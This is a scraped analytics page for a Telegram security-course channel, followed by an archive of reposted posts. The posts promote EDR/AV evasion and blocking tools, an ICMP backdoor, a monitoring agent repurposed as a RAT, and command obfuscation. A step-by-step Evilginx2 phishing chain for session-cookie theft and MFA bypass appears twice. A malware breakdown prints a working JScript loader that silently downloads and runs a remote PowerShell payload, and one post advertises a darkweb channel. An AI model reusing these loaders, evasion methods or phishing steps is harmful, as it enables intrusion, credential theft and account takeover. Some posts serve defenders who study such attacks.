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All Security Engineering Courses

All Security Engineering Courses

前往频道在 Telegram

This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!

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📈 Telegram 频道 All Security Engineering Courses 的分析概览

频道 All Security Engineering Courses (@allsecurityengineeringcourses) 英语 语言赛道中的 是活跃参与者。目前社区聚集了 18 793 名订阅者,在 技术与应用 类别中位列第 7 162,并在 俄罗斯 地区排名第 35 950

📊 受众指标与增长动态

невідомо 创建以来,项目保持高速增长,吸引了 18 793 名订阅者。

根据 15 六月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 133,过去 24 小时变化为 4,整体触达仍然可观。

  • 认证状态: 未认证
  • 互动率 (ER): 平均受众互动率为 10.04%。内容发布后 24 小时内通常能获得 3.00% 的反应,占订阅者总量。
  • 帖子覆盖: 每篇帖子平均可获得 1 887 次浏览,首日通常累积 563 次浏览。
  • 互动与反馈: 受众积极参与,单帖平均反应数为 3
  • 主题关注点: 内容集中在 git, strace, github, linux, docker 等核心主题上。

📝 描述与内容策略

作者将该频道定位为表达主观观点的平台:
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...

凭借高频更新(最新数据采集于 16 六月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。

18 793
订阅者
+424 小时
+357
+13330
帖子存档
🔰 Learn web3.js | Introduction to Web3.js library Learn web3.js library 🗒 Description: Welcome to the Web3.js Course This W
🔰 Learn web3.js | Introduction to Web3.js library Learn web3.js library 🗒 Description: Welcome to the Web3.js Course
This Web3.js course is designed for programmers and developers who want to take a comprehensive deep dive in building decentralized applications(dapp). This course provides detailed overviews of web3.js library and how to use web3.js library in order to interact with the blockchain and smart contract. In this course we are not just going to talk about Web3.js theory but also we are going to create a mini decentralized application (dapp) for practical.

Repost from N/a
15 misc attack on server.pdf.pdf13.97 MB

Repost from 1N73LL1G3NC3
EDRStartupHinder Prevents AV / EDR from running by redirecting a core DLL in the System32 folder to another location during W
EDRStartupHinder Prevents AV / EDR from running by redirecting a core DLL in the System32 folder to another location during Windows startup. Blog: https://www.zerosalarium.com/2026/01/edrstartuphinder-edr-startup-process-blocker.html

Zero Click, One NTLM: Microsoft Security Patch Bypass (CVE-2025-50154) CVE-2025-50154 allows an attacker to extract NTLM hash
Zero Click, One NTLM: Microsoft Security Patch Bypass (CVE-2025-50154) CVE-2025-50154 allows an attacker to extract NTLM hashes without any user interaction, even on fully patched systems. By exploiting a subtle gap left in the mitigation, an attacker can trigger NTLM authentication requests automatically, enabling offline cracking or relay attacks to gain unauthorized access.

Obfusk8 now integrates a state-of-the-art Indirect Syscall mechanism to bypass User-Mode Hooks (EDRs/AVs) and static analysis
Obfusk8 now integrates a state-of-the-art Indirect Syscall mechanism to bypass User-Mode Hooks (EDRs/AVs) and static analysis checks. => "The Sorting Hat" Resolution: Instead of reading the .text section of ntdll.dll (which is often hooked or monitored), the engine parses the Export Directory. It filters functions starting with Zw, sorts them by memory address, and deduces the System Call Number (SSN) based on their index. This allows SSN resolution without ever touching executable code. => Lateral Gadget Execution: The engine does not contain the syscall (0F 05) instruction in its own binary. Instead, it locates a valid syscall; ret gadget inside ntdll.dll memory at runtime. Clean Call Stacks: A custom thunk is allocated that jumps to the ntdll gadget. To the OS kernel and security sensors, the system call appears to originate legitimately from ntdll.dll, maintaining a clean call stack. => Usage: Simply use K8_SYSCALL("ZwOpenProcess", ...) instead of NtOpenProcess. You have built a system that : 1 - Does not scan .text (Sorting Hat logic on Exports). 2 - Does not execute syscall locally (Lateral Gadget execution). 3 - Does not leave traces (Clean Call Stacks).

⚙️ ArgFuscator Приложение с открытым исходным кодом, которое помогает генерировать обфусцированные команды для 💻 Windows, 🐧
⚙️ ArgFuscator Приложение с открытым исходным кодом, которое помогает генерировать обфусцированные команды для 💻 Windows, 🐧 Linux и 💻 MacOS 🔗 ArgFuscator Invoke-ArgFuscator:
Install-Module -Name Invoke-ArgFuscator
Import-Module Invoke-ArgFuscator

Invoke-ArgFuscator -Command 'certutil /f /urlcache https://www.example.org/ homepage.txt'

Invoke-ArgFuscator -InputFile path\to\file.json
😹 Offline version #windows #obfuscator #redteam ✈️ Join Us For More.... ‎ ‎🔥Telegram🔥: ‎https://t.me/SuBoXoneSoCiety ‎ ‎☠️Darkweb room☠️: http://suboxone2fzkkkeuezwozbbajgqargceo62wdx3f53awty6dv4mzzbad.onion ‎ ‎🫂Whatsapp community🫂 :https://whatsapp.com/channel/0029Vb7WAkz4tRrkdnGzzy25

⏰🤖Real-Time Phishing Agents (Dynamic Phishing) ❓ why we use Real-time Phishing Agents (Dynamic Phishing) : When we relay on
⏰🤖Real-Time Phishing Agents (Dynamic Phishing) ❓ why we use Real-time Phishing Agents (Dynamic Phishing) : When we relay on static templates the site will update continuously this will make the work more harder to Update the Phishing template every day, also if the user enabled MFA the full operation will fall down.. Because MFA code is temporary and we have 0 interaction with the Real Site to verify the token we got... That`s why the Dynamic Phishing Solve this matter. ℹ️ what is shown in the image above is example of Phishing operation in real time, where the attacker don`t relay on static template, instead its clone the server page in real-time , that`s will help the attacker to don`t relay on static templates and update it every day to mimic the real site. 😈 Adversary-in-the-Middle (AiTM): is a targeted, real-time phishing technique where the attacker operates a proxy between the victim and the legitimate service to intercept and manipulate the live authentication flow — capturing credentials, session cookies, tokens, or one-time codes so the attacker can immediately take over the session (often bypassing MFA). 🥷 attacker will capture credentials in real-time & often bypass MFA and that is the biggest advantage of Dynamic Phishing. 💻 Explain the attack Chain Using Evliginx2: 1. The Lure (Step 1) 🕷🔗: The victim clicks a phishing link (e.g., sent via email) that points to the attacker's domain: https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page. 2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com). 3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server. 4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim. Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com). 5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password. 6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend. Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect). 7. The Theft (Step 7 - The "Gold")™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie. This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again. 8. The Clean Exit (Step 8) 💻🏃‍♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.

⏰🤖Real-Time Phishing Agents (Dynamic Phishing) ❓ why we use Real-time Phishing Agents (Dynamic Phishing) : When we relay on
⏰🤖Real-Time Phishing Agents (Dynamic Phishing) ❓ why we use Real-time Phishing Agents (Dynamic Phishing) : When we relay on static templates the site will update continuously this will make the work more harder to Update the Phishing template every day, also if the user enabled MFA the full operation will fall down.. Because MFA code is temporary and we have 0 interaction with the Real Site to verify the token we got... That`s why the Dynamic Phishing Solve this matter. ℹ️ what is shown in the image above is example of Phishing operation in real time, where the attacker don`t relay on static template, instead its clone the server page in real-time , that`s will help the attacker to don`t relay on static templates and update it every day to mimic the real site. 😈 Adversary-in-the-Middle (AiTM): is a targeted, real-time phishing technique where the attacker operates a proxy between the victim and the legitimate service to intercept and manipulate the live authentication flow — capturing credentials, session cookies, tokens, or one-time codes so the attacker can immediately take over the session (often bypassing MFA). 🥷 attacker will capture credentials in real-time & often bypass MFA and that is the biggest advantage of Dynamic Phishing. 💻 Explain the attack Chain Using Evliginx2: 1. The Lure (Step 1) 🕷🔗: The victim clicks a phishing link (e.g., sent via email) that points to the attacker's domain: https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page. 2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com). 3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server. 4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim. Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com). 5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password. 6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend. Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect). 7. The Theft (Step 7 - The "Gold")™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie. This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again. 8. The Clean Exit (Step 8) 💻🏃‍♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.

Nezha A legitimate open-source monitoring tool (post-exploitation RAT). Compatible with mainstream systems, including Linux,
Nezha A legitimate open-source monitoring tool (post-exploitation RAT). Compatible with mainstream systems, including Linux, Windows, macOS, OpenWRT, and Synology. The agent provides SYSTEM/root level access, file management, and an interactive web terminal. VirusTotal shows 0/72 detections because it isn’t malware, it’s legitimate software pointed at attacker infrastructure. Installation is silent. Detection only occurs when attackers execute commands through the agent. Wiki: https://nezha.wiki/en_US/ Research: https://www.ontinue.com/resource/nezha-the-monitoring-tool-thats-also-a-perfect-rat/

☁️🚀 AWS DevOps Guide – Build, Deploy & Scale with Confidence Want to master DevOps on AWS? This guide helps you understand how modern teams build, automate, deploy, and monitor applications using AWS DevOps best practices. 📌 What You’ll Learn: • Core AWS services for DevOps • CI/CD pipelines & automation • Infrastructure as Code (IaC) • Monitoring, logging & scaling • Security & DevOps best practices 🎯 Perfect for DevOps engineers, cloud learners, and cybersecurity professionals. 📥 Grab resources here: 👉 https://resources.codelivly.com/ Level up your cloud & DevOps skills the right way ☁️🔧🚀

Practical_Purple_Teaming_The_Art_of_Collaborative_Defense_Practical.pdf6.04 MB

Repost from 1N73LL1G3NC3
ESC17: Using ADCS to Attack HTTPS-Enabled WSUS Clients How to leverage misconfigured ADCS templates to gain code execution on
ESC17: Using ADCS to Attack HTTPS-Enabled WSUS Clients How to leverage misconfigured ADCS templates to gain code execution on HTTPS-enabled WSUS clients.

Repost from Security
icmpdoor - если вы проникаете в сеть, вы вероятно задумываетесь о создании бэкдора, чтобы легче контролировать сеть! Но больш
icmpdoor - если вы проникаете в сеть, вы вероятно задумываетесь о создании бэкдора, чтобы легче контролировать сеть! Но большинство используют протокол TCP/UDP для создания обратной оболочки, что приводит к обнаружению этого устройства системами IPS/IDS, а также к отслеживанию и отключению от сети командами SOC! Для этого подходит протокол ICMP! Система ничего не подозревает и не проверяет связанные с ним журналы! И он даже обходит некоторые брандмауэры! 📱 Подписаться на Boosty 📱 📱 Вступить в закрытый канал на Boosty - Security [private] 📱 👉 Подписаться 👈 #backdoor #network

🛡 Malware Breakdown: Classic JScript via Shell.Application + Remote PowerShell Loader 🛡 This is an old-school but still effective against unpatched or unaware users. Perfect example of how attackers chain legacy techniques for initial access.
ghi = new ActiveXObject('Shell.Application');
ghi['ShellExecute']("powershell", '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://decjan2026.blogspot.com/////////nipoli.pdf); Start-Sleep -Seconds 17', "", "open", 0);
🔎 Step-by-Step What It Does: 1️⃣Creates Shell.Application COM Object: ▶️new ActiveXObject('Shell.Application') → Instantiates the Windows Shell COM object (progid: Shell.Application). ▶️This is a legitimate object for file operations, but abused here for silent process creation. 2️⃣Obfuscated ShellExecute Call: ▶️Uses bracket notation ['ShellExecute'] instead of dot (minor obfuscation to evade simple string scans). ▶️Launches PowerShell with: ▶️-ep Bypass: Sets ExecutionPolicy to Bypass (ignores script signing restrictions). ▶️-c: Command mode. 3️⃣Inside the PowerShell Command: ▶️Forces TLS 1.2 for downloads: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ▶️Ensures compatibility with modern HTTPS sites (bypasses older protocol blocks). ▶️ Downloads & Executes Remote Script: ▶️Invoke-Expression (Invoke-RestMethod https://decjan2026.blogspot.com/////////nipoli.pdf) ▶️ Alias: IEX (IRM ...) ▶️ Fetches content from that Blogger URL (masquerading as a ".pdf" to look innocent) and executes it directly in memory. ▶️ Extra slashes (/////////) are ignored by HTTP — classic URL padding to evade filters. ▶️Start-Sleep -Seconds 17: Delays 17 seconds (likely to evade timed sandbox detection or give payload time to run). 4️⃣ Execution Flags: ▶️Window style 0: Runs PowerShell completely hidden (no visible window). ▶️Verb "open": Standard launch. 🧠 Why This Is Sneaky (2025 Context): ▶️Fileless & Silent: No disk writes initially — downloads straight to memory via IRM + IEX. ▶️Legacy Abuse: ActiveXObject + ShellExecute is ancient (IE-era JScript/WScript), but still works in hta/js/vbs dropped via phishing. ▶️PDF Lure: Filename "nipoli.pdf" tricks users/filters into thinking it's a harmless document. 💡 Pro Tip: This works because many orgs still allow WSH/JScript execution. Disable Windows Script Host via GPO if possible, or use AppLocker/Script Block Logging.

Drone Hacking Guide.zip138.63 MB

Drone Hacking - Exploitation And Vulnerabilities Only For Educational Purpose